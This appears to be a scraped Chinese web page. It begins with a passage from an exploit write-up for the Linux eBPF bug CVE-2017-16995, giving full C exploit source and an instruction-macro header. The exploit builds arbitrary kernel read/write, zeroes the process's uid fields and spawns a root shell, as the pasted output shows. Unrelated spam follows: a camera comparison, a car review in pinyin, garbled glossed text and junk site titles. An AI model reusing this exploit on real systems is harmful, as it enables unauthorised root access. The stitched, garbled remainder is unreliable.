addr & ~(0x4000 - 1); 可以读取到 task_struct 的地址;map[0] ==2时,*map[1]= map[2]([r7]=r8)。exp完整exp 如下 , exp.c#define _GNU_SOURCE#include #include #include #include #include #include #include #include #include #include #include #include "bpf_insn_helper.h"typedef uint32_t u32;typedef int32_t s32;typedef uint64_t u64;typedef int64_t s64;void logs(char *tag,char *buf){ printf("[ s]: "); printf(" %s ",tag); printf(": %s\n",buf);}void logx(char *tag,uint32_t num){ printf("[ x] "); printf(" %-20s ",tag); printf(": %-#8x\n",num);}void loglx(char *tag,uint64_t num){ printf("[lx] "); printf(" %-20s ",tag); printf(": %-#16lx\n",num);}void bp(char *tag){ printf("[bp] : %s\n",tag); getchar();}void init(){ setbuf(stdin,0); setbuf(stdout,0);}int mapfd,progfd;int sockets[2];#define LOG_BUF_SIZE 65536#define PROGSIZE 328#define PHYS_OFFSET 0xffff880000000000#define CRED_OFFSET 0x5b0 //0x5f8#define UID_OFFSET 0x4char bpf_log_buf[LOG_BUF_SIZE];static int bpf_prog_load(enum bpf_prog_type prog_type, const struct bpf_insn *insns, int prog_len, const char *license, int kern_version) { union bpf_attr attr = { .prog_type = prog_type, .insns = (__u64)insns, .insn_cnt = prog_len / sizeof(struct bpf_insn), .license = (__u64)license, .log_buf = (__u64)bpf_log_buf, .log_size = LOG_BUF_SIZE, .log_level = 1, }; attr.kern_version = kern_version; bpf_log_buf[0] = 0; return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));}static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size, int max_entries) { union bpf_attr attr = { .map_type = map_type, .key_size = key_size, .value_size = value_size, .max_entries = max_entries }; return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));}static int bpf_update_elem(uint64_t key, uint64_t value) { union bpf_attr attr = { .map_fd = mapfd, .key = (__u64)&key, .value = (__u64)&value, .flags = 0, }; return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));}static int bpf_lookup_elem(void *key, void *value) { union bpf_attr attr = { .map_fd = mapfd, .key = (__u64)key, .value = (__u64)value, }; return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));}static void __exit(char *err) { fprintf(stderr, "error: %s\n", err); exit(-1);}static void writemsg(void) { char buffer[64]; ssize_t n = write(sockets[0], buffer, sizeof(buffer)); if (n < 0) { perror("write"); return; } if (n != sizeof(buffer)) fprintf(stderr, "short write: %lu\n", n);}#define __update_elem(a, b, c) \ bpf_update_elem(0, (a)); \ bpf_update_elem(1, (b)); \ bpf_update_elem(2, (c)); \ writemsg();static uint64_t get_value(int key) { uint64_t value; if (bpf_lookup_elem(&key, &value)) __exit(strerror(errno)); return value;}static uint64_t __get_fp(void) { __update_elem(1, 0, 0); return get_value(2);}static uint64_t __read(uint64_t addr) { __update_elem(0, addr, 0); return get_value(2);}static void __write(uint64_t addr, uint64_t val) { __update_elem(2, addr, val);}static uint64_t get_sp(uint64_t addr) { return addr & ~(0x4000 - 1);}static void pwn(void) { printf("pwning\n"); uint64_t fp, sp, task_struct, credptr, uidptr; fp = __get_fp(); loglx("fpsome",fp); if (fp < PHYS_OFFSET) __exit("bogus fp"); sp = get_sp(fp); if (sp < PHYS_OFFSET) __exit("bogus sp"); task_struct = __read(sp); if (task_struct < PHYS_OFFSET) __exit("bogus task ptr"); printf("task_struct = %lx\n", task_struct); credptr = __read(task_struct + CRED_OFFSET); // cred if (credptr < PHYS_OFFSET) __exit("bogus cred ptr"); uidptr = credptr + UID_OFFSET; // uid /*uidptr = credptr + 4; // uid*/ if (uidptr < PHYS_OFFSET) __exit("bogus uid ptr"); printf("uidptr = %lx\n", uidptr); __write(uidptr, 0); __write(uidptr+0x8, 0); __write(uidptr+0x10, 0); if (geteuid() == 0) { printf("spawning root shell\n"); system("/bin/sh"); exit(0); } __exit("not vulnerable?");}int main(int argc,char **argv){ init(); struct bpf_insn insns[] = { ALU_MOV_K(9,0xffffffff), // [0] r9 = 0xffffffff JMP_JNE_K(9,0xffffffff,2), // [1] if r9 != 0xffffffff: jmp [4] ALU64_MOV_K(0,0x0), // [2] r0 = 0 JMP_EXIT(), // [3] exit LD_IMM_DW(9,1,3), // [4] r9 = mapfd BPF_INSN_NEG, // [5] //r6 = map[0] ALU64_MOV_X(1,9), // [6] r1 = r9 ALU64_MOV_X(2,10), // [7] r2 = r10 (rbp) ALU64_ADD_K(2,-4), // [8] r2 = r2 -4 ST_MEM_W(10,-4,0), // [9] [r10 - 4] =0 JMP_CALL(BPF_FUNC_map_lookup_elem),// [10] map_lookup_elem JMP_JNE_K(0,0,1), // [11] if r0 != 0 : jmp [13] JMP_EXIT(), // [12] exit LDX_MEM_DW(6,0,0), // [13] r6 = [r0] // r7 =map[1] ALU64_MOV_X(1,9), // [14] r1 = r9 ALU64_MOV_X(2,10), // [15] r2 = r10 (rbp) ALU64_ADD_K(2,-4), // [16] r2 = r2 -4 ST_MEM_W(10,-4,1), // [17] [r10 - 4] =0 JMP_CALL(BPF_FUNC_map_lookup_elem),// [18] map_lookup_elem JMP_JNE_K(0,0,1), // [19] if r0 != 0 : jmp [21] JMP_EXIT(), // [20] exit LDX_MEM_DW(7,0,0), // [21] r7 = [r0] // r8=map[2] ALU64_MOV_X(1,9), // [22] r1 = r9 ALU64_MOV_X(2,10), // [23] r2 = r10 (rbp) ALU64_ADD_K(2,-4), // [24] r2 = r2 -4 ST_MEM_W(10,-4,2), // [25] [r10 - 4] =0 JMP_CALL(BPF_FUNC_map_lookup_elem),// [26] map_lookup_elem JMP_JNE_K(0,0,1), // [27] if r0 != 0 : jmp [29] JMP_EXIT(), // [28] exit LDX_MEM_DW(8,0,0), // [29] r8 = [r0] ALU64_MOV_X(2,0), // [30] r2 = r0 ALU64_MOV_K(0,0), // [31] r0 = 0 JMP_JNE_K(6,0,3), // [32] if r6 !=0: jmp [36] LDX_MEM_DW(3,7,0), // [33] r3 = [r7] (map[1]) STX_MEM_DW(2,0,3), // [34] [r2] = r3 JMP_EXIT(), // [35] exit JMP_JNE_K(6,1,2), // [36] if r6 !=1: jmp [39] STX_MEM_DW(2,0,10), // [37] [r2] = r10 JMP_EXIT(), // [38] exit STX_MEM_DW(7,0,8), // [39] [r7] = r8 JMP_EXIT(), // [40] exit }; /*for(int i=0;i#define ALU_NEG BPF_ALU | BPF_NEG#define ALU_END_TO_BE BPF_ALU | BPF_END | BPF_TO_BE #define ALU_END_TO_LE BPF_ALU | BPF_END | BPF_TO_LE #define F_ALU64_ARSH_XBPF_ALU64 | BPF_ARSH | BPF_X#define F_ALU64_ARSH_KBPF_ALU64 | BPF_ARSH | BPF_K#define F_ALU64_NEG BPF_ALU64 | BPF_NEG #define BPF_INSN_NEG \ ((struct bpf_insn) { \ .code = 0, \ .dst_reg = 0, \ .src_reg = 0, \ .off = 0, \ .imm = 0 \ })#define ALU_OP_K(OP,DST,IMM) \ ((struct bpf_insn) { \ .code = BPF_ALU | BPF_OP(OP) | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM \ })#define ALU_OP_X(OP,DST,SRC) \ ((struct bpf_insn) { \ .code = BPF_ALU | BPF_OP(OP) | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = 0 \ })#define ALU64_OP_K(OP,DST,IMM) \ ((struct bpf_insn) { \ .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM \ })#define ALU64_OP_X(OP,DST,SRC) \ ((struct bpf_insn) { \ .code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = 0 \ })#define ALU_ADD_K(DST,IMM) ALU_OP_K(BPF_ADD,DST,IMM)#define ALU_SUB_K(DST,IMM) ALU_OP_K(BPF_SUB,DST,IMM)#define ALU_AND_K(DST,IMM) ALU_OP_K(BPF_AND,DST,IMM)#define ALU_OR_K(DST,IMM) ALU_OP_K(BPF_OR,DST,IMM)#define ALU_LSH_K(DST,IMM) ALU_OP_K(BPF_LSH,DST,IMM)#define ALU_RSH_K(DST,IMM) ALU_OP_K(BPF_RSH,DST,IMM)#define ALU_XOR_K(DST,IMM) ALU_OP_K(BPF_XOR,DST,IMM)#define ALU_MUL_K(DST,IMM) ALU_OP_K(BPF_MUL,DST,IMM)#define ALU_MOV_K(DST,IMM) ALU_OP_K(BPF_MOV,DST,IMM)#define ALU_DIV_K(DST,IMM) ALU_OP_K(BPF_DIV,DST,IMM)#define ALU_MOD_K(DST,IMM) ALU_OP_K(BPF_MOD,DST,IMM)#define ALU_ADD_X(DST,SRC) ALU_OP_X(BPF_ADD,DST,SRC)#define ALU_SUB_X(DST,SRC) ALU_OP_X(BPF_SUB,DST,SRC)#define ALU_AND_X(DST,SRC) ALU_OP_X(BPF_AND,DST,SRC)#define ALU_OR_X (DST,SRC) ALU_OP_X (BPF_OR,DST,SRC)#define ALU_LSH_X(DST,SRC) ALU_OP_X(BPF_LSH,DST,SRC)#define ALU_RSH_X(DST,SRC) ALU_OP_X(BPF_RSH,DST,SRC)#define ALU_XOR_X(DST,SRC) ALU_OP_X(BPF_XOR,DST,SRC)#define ALU_MUL_X(DST,SRC) ALU_OP_X(BPF_MUL,DST,SRC)#define ALU_MOV_X(DST,SRC) ALU_OP_X(BPF_MOV,DST,SRC)#define ALU_DIV_X(DST,SRC) ALU_OP_X(BPF_DIV,DST,SRC)#define ALU_MOD_X(DST,SRC) ALU_OP_X(BPF_MOD,DST,SRC)#define ALU64_ADD_K(DST,IMM) ALU64_OP_K(BPF_ADD,DST,IMM)#define ALU64_SUB_K(DST,IMM) ALU64_OP_K(BPF_SUB,DST,IMM)#define ALU64_AND_K(DST,IMM) ALU64_OP_K(BPF_AND,DST,IMM)#define ALU64_OR_K(DST,IMM) ALU_64OP_K(BPF_OR,DST,IMM)#define ALU64_LSH_K(DST,IMM) ALU64_OP_K(BPF_LSH,DST,IMM)#define ALU64_RSH_K(DST,IMM) ALU64_OP_K(BPF_RSH,DST,IMM)#define ALU64_XOR_K(DST,IMM) ALU64_OP_K(BPF_XOR,DST,IMM)#define ALU64_MUL_K(DST,IMM) ALU64_OP_K(BPF_MUL,DST,IMM)#define ALU64_MOV_K(DST,IMM) ALU64_OP_K(BPF_MOV,DST,IMM)#define ALU64_DIV_K(DST,IMM) ALU64_OP_K(BPF_DIV,DST,IMM)#define ALU64_MOD_K(DST,IMM) ALU64_OP_K(BPF_MOD,DST,IMM)#define ALU64_ADD_X(DST,SRC) ALU64_OP_X(BPF_ADD,DST,SRC)#define ALU64_SUB_X(DST,SRC) ALU64_OP_X(BPF_SUB,DST,SRC)#define ALU64_AND_X(DST,SRC) ALU64_OP_X(BPF_AND,DST,SRC)#define ALU64_OR_X (DST,SRC) ALU64_OP_X (BPF_OR,DST,SRC)#define ALU64_LSH_X(DST,SRC) ALU64_OP_X(BPF_LSH,DST,SRC)#define ALU64_RSH_X(DST,SRC) ALU64_OP_X(BPF_RSH,DST,SRC)#define ALU64_XOR_X(DST,SRC) ALU64_OP_X(BPF_XOR,DST,SRC)#define ALU64_MUL_X(DST,SRC) ALU64_OP_X(BPF_MUL,DST,SRC)#define ALU64_MOV_X(DST,SRC) ALU64_OP_X(BPF_MOV,DST,SRC)#define ALU64_DIV_X(DST,SRC) ALU64_OP_X(BPF_DIV,DST,SRC)#define ALU64_MOD_X(DST,SRC) ALU64_OP_X(BPF_MOD,DST,SRC)#define JMP_OP_K(OP,DST,IMM,OFF) \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_OP(OP) | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = OFF, \ .imm = IMM \ })#define JMP_OP_X(OP,DST,SRC,OFF) \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_OP(OP) | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 \ })#define F_JMP_JA BPF_JMP | BPF_JA #define F_JMP_CALL BPF_JMP | BPF_CALL #define F_JMP_TAIL_CALL BPF_JMP | BPF_CALL | BPF_X#define JMP_EXIT() \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_EXIT, \ .dst_reg = 0, \ .src_reg = 0, \ .off = 0, \ .imm = 0 \ })#define JMP_CALL(FUNC) \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_CALL, \ .dst_reg = 0, \ .src_reg = 0, \ .off = 0, \ .imm = FUNC \ })#define JMP_JNE_K(DST,IMM,OFF) JMP_OP_K(BPF_JNE,DST,IMM,OFF)#define JMP_JEQ_K(DST,IMM,OFF) JMP_OP_K(BPF_JEQ,DST,IMM,OFF)#define JMP_JGT_K(DST,IMM,OFF) JMP_OP_K(BPF_JGT,DST,IMM,OFF)#define JMP_JGE_K(DST,IMM,OFF) JMP_OP_K(BPF_JGE,DST,IMM,OFF)#define JMP_JSGT_K(DST,IMM,OFF) JMP_OP_K(BPF_JSGT,DST,IMM,OFF)#define JMP_JSGE_K(DST,IMM,OFF) JMP_OP_K(BPF_JSGE,DST,IMM,OFF)#define JMP_JSET_K(DST,IMM,OFF) JMP_OP_K(BPF_JSET,DST,IMM,OFF)#define JMP_JNE_X(DST,SRC,OFF) JMP_OP_X(BPF_JNE,DST,SRC,OFF)#define JMP_JEQ_X(DST,SRC,OFF) JMP_OP_X(BPF_JEQ,DST,SRC,OFF)#define JMP_JGT_X(DST,SRC,OFF) JMP_OP_X(BPF_JGT,DST,SRC,OFF)#define JMP_JGE_X(DST,SRC,OFF) JMP_OP_X(BPF_JGE,DST,SRC,OFF)#define JMP_JSGT_X(DST,SRC,OFF) JMP_OP_X(BPF_JSGT,DST,SRC,OFF)#define JMP_JSGE_X(DST,SRC,OFF) JMP_OP_X(BPF_JSGE,DST,SRC,OFF)#define JMP_JSET_X(DST,SRC,OFF) JMP_OP_X(BPF_JSET,DST,SRC,OFF)#define JMP_CALL_X(DST,SRC,OFF) JMP_OP_X(BPF_CALL,0,0,OFF)// [ det_reg + off ] = src#define STX_MEM_OP(SIZE,DST,OFF,SRC) \ ((struct bpf_insn) { \ .code = BPF_STX | BPF_MEM | BPF_SIZE(SIZE) , \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 \ })// [ dst_reg + off ] = IMM#define ST_MEM_OP(SIZE,DST,OFF,IMM) \ ((struct bpf_insn) { \ .code = BPF_ST | BPF_MEM | BPF_SIZE(SIZE) , \ .dst_reg = DST, \ .src_reg = 0, \ .off = OFF, \ .imm = IMM \ })#define STX_XADD_W BPF_STX | BPF_XADD | BPF_W #define STX_XADD_DWBPF_STX | BPF_XADD | BPF_DW#define ST_MEM_B(DST,OFF,IMM) ST_MEM_OP(BPF_B,DST,OFF,IMM)#define ST_MEM_H(DST,OFF,IMM) ST_MEM_OP(BPF_H,DST,OFF,IMM)#define ST_MEM_W(DST,OFF,IMM) ST_MEM_OP(BPF_W,DST,OFF,IMM)#define ST_MEM_DW(DST,OFF,IMM) ST_MEM_OP(BPF_DW,DST,OFF,IMM)#define STX_MEM_B(DST,OFF,SRC) STX_MEM_OP(BPF_B,DST,OFF,SRC)#define STX_MEM_H(DST,OFF,SRC) STX_MEM_OP(BPF_H,DST,OFF,SRC)#define STX_MEM_W(DST,OFF,SRC) STX_MEM_OP(BPF_W,DST,OFF,SRC)#define STX_MEM_DW(DST,OFF,SRC) STX_MEM_OP(BPF_DW,DST,OFF,SRC)#define LD_ABS_W BPF_LD | BPF_ABS | BPF_W #define LD_ABS_H BPF_LD | BPF_ABS | BPF_H #define LD_ABS_B BPF_LD | BPF_ABS | BPF_B #define LD_IND_W BPF_LD | BPF_IND | BPF_W #define LD_IND_H BPF_LD | BPF_IND | BPF_H #define LD_IND_B BPF_LD | BPF_IND | BPF_B // dst_reg = [src_reg + off ]#define LDX_MEM_OP(SIZE,DST,SRC,OFF) \ ((struct bpf_insn) { \ .code = BPF_LDX | BPF_MEM | BPF_SIZE(SIZE) , \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 \ })// [ src_reg + off ] = IMM#define LD_MEM_OP(MODE,SIZE,DST,SRC,IMM) \ ((struct bpf_insn) { \ .code = BPF_LD | BPF_MODE(MODE) | BPF_SIZE(SIZE) , \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = IMM \ })#define LD_IMM_DW(DST,SRC,IMM) LD_MEM_OP(BPF_IMM,BPF_DW,DST,SRC,IMM)#define LDX_MEM_B(DST,SRC,OFF) LDX_MEM_OP(BPF_B,DST,SRC,OFF)#define LDX_MEM_H(DST,SRC,OFF) LDX_MEM_OP(BPF_H,DST,SRC,OFF)#define LDX_MEM_W(DST,SRC,OFF) LDX_MEM_OP(BPF_W,DST,SRC,OFF)#define LDX_MEM_DW(DST,SRC,OFF) LDX_MEM_OP(BPF_DW,DST,SRC,OFF)#endif运行的效果如下:~ $ /exp [ x] insns : 0x148 mapfd finished progfd finish socketpair finished pwning [lx] fpsome : 0xffff8800001b7cc0 task_struct = ffff88000d002e00 uidptr = ffff88000dc11f04 spawning root shell /home/pwn # id uid=0(root) gid=0 groups=1000 /home/pwn # 小结cve-2017-16995就是符号的扩展没有检查好,最终可以任意代码执行,这个阶段的ebpf还是刚刚起步,代码还很少,后面添加了很多新的特性,检查的时候优化也是一个不错的利用点。" />

91视频专区

肖申克的救赎迟虫迟全集下载冲电子书,完结小说,全本,全文...【图片】乳液狂飙2.0【反原神吧】冲百度贴吧

最后,为了提供给您更全面的信息,我们还需要考虑到其他因素,比如发动机的可靠性、维护成本以及与车型匹配度等。不过,不管怎样选择,这两款发动机都代表了当下汽车发动机技术的一种前沿趋势,它们的较量无疑给汽车爱好者们提供了更多的思考和讨论空间。

2025年01月07日,高性价比入门全画幅相机 尼康Z5值不值得买2020-07-30 09:07·中关村在线前不久,尼康一款入门级全画幅微单相机Z5的发布,在全画幅市场中再次掀起轩然大波。这款相机凭借着出色的性能配置以及非常亲民的售价,获得了非常高的关注度,也成为了接下来很多用户选购相机、尝鲜全画幅的重点参考对象。当然,用户在选择时一般都会有一个参考对象,在同价位相机中,索尼A7II全画幅微单相机与尼康Z5刚好匹配,那么这两款之间,我们应该如何选择呢?我们在对比中,均采用了相同规格的24-70mmF4镜头进行拍摄。两支镜头虽然规格相同,但是它们之间的体积和重量也存在些许的差别。另外,索尼的镜头是FE卡口,尼康镜头则为Z卡口。01操控:新机身必然优势明显尼康Z5和索尼A7II两款相机均为2400万像素级别,不过虽然两款相机的像素相同,但是所配备的处理器和其他硬件存在一定的差距。虽然两台相机加上镜头的总售价非常相似,但是尼康Z5是刚刚发布的新品,而索尼A7II则是2014年发布的产物。接着,我们先来看看两款相机的操控性和外观方面有什么样的差别。尼康Z5和索尼A7II两台相机的体积和重量非常接近,因此携带的感觉也是差不多的。在全画幅相机中,其实两台相机的体积和重量都具有一定的优势,并且携带一整天基本上不会成为负担,这一点对于摄影爱好者来说非常友好。在手柄的部分,尼康Z5的手柄尺寸要比索尼A7II更大,不论是宽度还是长度,因此对于用户来说,尼康Z5的握持感受会更加出色。而握持感受会直接影响用户使用的手感,所以这一点很关键。也就是使用尼康Z5的时候,会感觉到更加舒适。整体来看,尼康Z5和索尼A7II的按键布局比较相似,但是尼康Z5具有一个摇杆设计,这个对于用户体验的提升还是比较明显的,可以帮助用户更加便捷的进行参数和菜单的操作。在屏幕的部分,两款相机的屏幕尺寸都比较合适,同时支持翻折的角度也非常接近,因此使用上的感觉比较相似。不过不同的是,尼康Z5的屏幕支持触控,而索尼A7II的屏幕不支持触控,因此对于新手用户来说,触控操作会更加友好,也更容易上手。卡槽的部分,两台相机均只支持SD类型的存储卡,可以帮助用户节省使用成本。不同的是,尼康Z5设计了双卡槽,这样对于用户来说非常方便,可以选择备份存储或者扩展存储,双卡槽也是用户呼声很大的设计之一。两台相机的电池容量有比较大的差别,尼康Z5的电池容量接近索尼A7II电池的一倍,因此续航能力也有较大的差异。不过两台相机均支持USB充电,可以使用移动电源来弥补电池续航的问题。尼康Z5支持USBType-C口充电,索尼A7II是MicroUSB(传统安卓口)接口,因此充电效率方面尼康Z5具有明显的优势。02色彩表现:尼康Z5更自然尼康Z5和索尼A7II相机的像素相同,因此我们不进行细节的对比。由于大部分摄影爱好者都是直接拍摄JPG照片,因此我们首先来进行两台相机的直出JPG照片色彩对比。对比时我们使用相同的参数和镜头焦段拍摄,白平衡均为自动。尼康Z5相机直出JPG照片索尼A7II相机直出JPG照片上面照片为两天相机的直出JPG照片,我们为了方便上传,只进行了尺寸压缩。可以看到,尼康Z5的直出JPG照片色彩表现非常出色,很精准的还原了橱窗展示物品的色彩;索尼A7II相机则有些许的偏色,画面偏向于绿色色调。尼康Z5相机直出JPG照片索尼A7II相机直出JPG照片再来一组照片对比,尼康Z5的JPG照片色彩偏向于冷色调,索尼A7II的JPG照片色彩偏向于暖色调,不过尼康Z5更贴近于我们肉眼看到的场景颜色。这两组对比可以看到,尼康Z5的色彩还原更加准确,所以如果是拍摄直出JPG照片,尼康Z5的表现会更具优势。03高感:Z5控噪能力出色虽然两款相机的像素均为2400万级别,但是两款相机的处理器年代差距较大,因此我们接着来看看它们之间的高感控噪表现如何。我们拍摄的时候依旧使用相同焦段、相同设置参数和相同光线进行拍摄。拍摄过程中,我们打开了两款相机的高感光度降噪选项,并且级别均设为标准。因为日常拍摄中,用户都会打开这个选项。红框内为对比截图区域通过对比,我们可以看到尼康Z5和索尼A7II两款相机在ISO 1600到ISO 12800的实际拍摄高感JPG画面表现。可以看到,实际上两款相机的高感控噪能力表现都很出色,经过机内处理器的降噪之后,即便是ISO 12800带来的画面依然可以使用。对比来看,尼康Z5的控噪表现比索尼A7II稍好,但差异并没有悬殊的表现。毕竟这个级别的相机,不可能会出现非常明显的高感画质差异表现。04视频:4K视频主流配置最后,我们来看看视频方面的表现。由于尼康Z5可以拍摄1.7倍视角裁切的4K 30p视频,索尼A7II只能够拍摄全高清格式的视频,因此我们不进行对比,只进行尼康Z5视频效果的展示。现在相机主流视频规格就是4K 30p,毕竟电视已经普及4K分辨率,具备4K视频拍摄能力才能够更好的满足用户需求。尼康Z5的4K视频GIF尼康Z5的4K视频GIF尼康Z5的4K视频GIF尼康Z5的4K视频GIF我们将视频转换为GIF为大家呈现,这样更方便观看。由于尼康Z5具备5轴机身防抖,因此手持拍摄视频比较轻松。比如画面中的很多视频都是在50-70mm镜头焦段下拍摄的特写,手持拍摄也可以有出色的稳定性表现。另外,可以看到视频的细节表现非常优秀,同时色彩的还原也很准确。如果作为VLOG拍摄、抖音拍摄、旅行记录来说,尼康Z5完全可以满足大家的需求。05尝鲜全画幅选择尼康Z5其实对于现在的相机来说,如果价位相同,自然是买新不买旧,毕竟发布年代的差异会直接影响技术的水平。微单相机面世以来,尤其是全画幅微单相机的早期,产物的技术其实存在很多的问题。近三年左右,随着微电子技术的飞速发展,全画幅微单相机的技术发展也是飞快的,技术更新更是前几年无法比拟的。因此对于用户来说,如果看中了相机机身的实力,自然要选择发布年代更近的相机。对于尼康Z5和索尼A7II两款相机来说,就是如此。尼康Z5是2020年7月发布的新品,自然技术非常新,所包含的配置也更加出色,同时也符合目前的主流水准。因此对于用户来说,也可以体验到更加出色的相机以及它的拍照、视频能力,可以更好的满足用户的摄影乐趣。看到这里肯定有用户来询问定位类似的佳能EOSRP,它们之间并不属于同价位产物。如果对比的话,尼康Z5的配置明显高于佳能EOSRP,至于如何选择完全看大家的喜好了。对于我们来说,如果尝鲜全画幅相机,买尼康Z5肯定不会错。(7484064)

肖申克的救赎迟虫迟全集下载冲电子书,完结小说,全本,全文...【图片】乳液狂飙2.0【反原神吧】冲百度贴吧

但可惜的是萨卡的右路传中总是无人接应也导致英格兰队在上半场并没有制造出太有威胁的进攻

我和你妈妈没有办法,虽然李华家条件不好,他更是高中都没有毕业,可看他老实打工,你又要死要活,只能同意你们的婚事。强化宣传教育 提升安全意识

zaiqianyexianjunjinshiwenroudechenzuozhong,xiaoyingtashangliaochengweixinshouhushidezhengtu,meiyibuduqingyingerjianding。tadeyanzuolishanshuozhuoduixinshenghuodereqiekewang,fangfoliankongqizhongdumimanzhuoxiwangdeqixi。1. quebaoanquan:jiangshangzhezhuanyidaoanquandidai,yuanlicheliu,bimianfashengercishigu;

周(窜丑辞耻)五(奥耻)公(骋辞苍驳)布(叠耻)的(顿别)数(厂丑耻)据(闯耻)显(齿颈补苍)示(厂丑颈)美(惭别颈)联(尝颈补苍)储(颁丑耻)密(惭颈)切(蚕颈别)关(骋耻补苍)注(窜丑耻)的(顿别)通(罢辞苍驳)胀(窜丑补苍驳)指(窜丑颈)标(叠颈补辞)1月(驰耻别)份(贵别苍)意(驰颈)外(奥补颈)加(闯颈补)速(厂耻),促(颁耻)使(厂丑颈)投(罢辞耻)资(窜颈)者(窜丑别)加(闯颈补)大(顿补)对(顿耻颈)进(闯颈苍)一(驰颈)步(叠耻)加(闯颈补)息(齿颈)的(顿别)押(驰补)注(窜丑耻)。

quanxinyundu3shangshi,zuidaxuhang500gongli,kuaichong30fenzhongchongzhi80%yuanchuang2018-07-27 09:24·qichelubianshe500gonglixuhang?zheyundushimelaitou,ganchuanzhemedaqier?zheshiwodezhizhekuanquanxinyunduπ3zuidaxuhanglichengdediyifanying。queshi,muqianxuhanglichengzhenzhengchaoguo500gonglide,zhiyoutesilayijianengzuodao,ertadeshoujiajunchaoguobaiwan,yongdedianji、diankong、dianchidushihexindejianduanjishu。yushiwokaishishenruliaojie,faxianyunduπ3zhegezuida500gonglixuhangdeshuifenhenda。shouxian,genjuyunduguanwangjieshao,quanxinπ3zuidaxuhanglicheng500gongli,shijianlizaishisu60KM/Hyunsudeqingkuangxiapaochulaide,zhejihumeiyoucankaojiazhi。wozhiqianyouyitaibaoma325,shiquyouhaochaoguo14ge,ergaosuzhiyou7geduoyou……erqiegongkuangyebujubeixianshiyiyi,gaosubukenengkaizhememan,shiquyebukenengyunsupao;lingwaigenjuwodeliaojie,tazaiceshizuidaxuhanglichengshi,kendingguandiaoliaosuoyoububiyaodeyongdianshebei,birukongdiao、dadeng、duomeitixitongdeng,suoyouzhege500gonglimeiduoshaoshijicankaojiazhi。dangranwozhebushifoudingyunduπ3,bijingzaimuqiandianchijishumeiyoushizhixingtupodeqingkuangxia,nengzengjiaxuhanglichengyeshixuyaohuafeidaliqide。jugongxinbuxinxixianshi,shangyikuan(zaishou)deyunduπ3zonghexuhanglichengzhiyou251gongli,erjijiangshangshidexinkuandadaoliao360gongli。anzhaowokaiguodejitaidiandongchelaikan,tazaishiqulukuangzhengchangpao,qizhenshilichengyinggaizai280gonglizuoyou。anzhaomeitianpao40gonglijisuan,meizhouchongyicidianjike,zheyangdelichenghuanshibucuode。zaikantadesandianxitong,2018nian7yue29rishangshidequanxinπ3dazaiqianzhidandianji,zuidamali123pi;qidianchizushicaigoudeningdeshidaisanyuanzuodianchi,rongliangwei50.4qianwashi,dianchineibucaiyongCATLgaomiduVDAcheguijidianxin,zheshimuqianjibiezuigaodedianxin,weilaiES8dedianxinyeshizhezhongbiaozhun。yinweisanyuanzuodianchixuyaodaliangsanre,bingqiekaolvdaozaijiduanqingkuangxiadechongfangdianqingkuang,yunduπ3peibeiliaoshuilengsanre,bingqiezhiruzuixinyanfadedianchiwenduguanlixitong,xiatianjiakuaisanre,dongtiankeyitiqianshengwen,shidetazaijiduanqingkuangxiayenengzuidaxiandudebaochixuhanglicheng。zhekuanchedaodizhibuzhi,ninzaijiezhuowangxiakan,tadeneishiwaiguanzanmenjiubuduoshuoliao,hexiankuanmeiqubie。shuoshuojiage,xinkuanπ3butiehoushoujia11.2wanqi,zhegejiagemaiyitaichundiandongjincoujiSUV,qishihuanshitingheshide。mingrenbushuoanhua,zhetaichedexingshizhiganhetongjiaweidechuantongranyouchexiangbihuanyouxiechaju,danshitazuodeyijingzugouxiangyitainengzhengjingshangludeqicheliao。yaozhidao,shichangshanghenduochundiandongche,kanshangquhelaoniandaibuchechabiewuer。erqieyunduzhegepinpaibushiPPTzaoche,suiranshixinshilizaocheqiye,danshitahechuantongcheqiyouhenshendelianxi,2015nianchenglideyundu,qishishifuqijituanweidaibiaogongsifangchuzishelidexinnengyuanqiye,tanengzaiduanduanliangnianneinadaoxinnengyuanzaochezizhibingqiekuaisukaishishangshixiaoshou,yufuqijituanzheweidalaoyouzhuomibukefendeguanxi。suoyizaipinkong、zhiliang,yijichelianggezhongxijieshang,tayouzhuoxiantiandeyoushi。zongtilaishuo,suirantade“zuida500gonglixuhang”kenengshigeweiliaoxuanchuandezuotou,buguotazaixingjiabishanghuanshibucuode,ruguoxuyaoyitaichezhanzhibiao,huozhejialiyouyitairanyouche,xiangmaiyitaidiandongcheshiqudaibudehua,namezhekuanjincouxingdiandongSUVyunduπ3henshiheni。guhuashuodehao,“wuguijubuchengfangyuan”,goumainianhuoziranyeyouqiaomiaosuozai。weiliaorangwomendechunjiejichongshiyoushengxin,laoyibeirenliuchuanxialaiyizehuangjinfaze——“4zaomai、4houmai”。zhangwota,budannengjieshengshijianhejinqian,gengnengrangnindechunjiechongmanxiyueheshuxin。

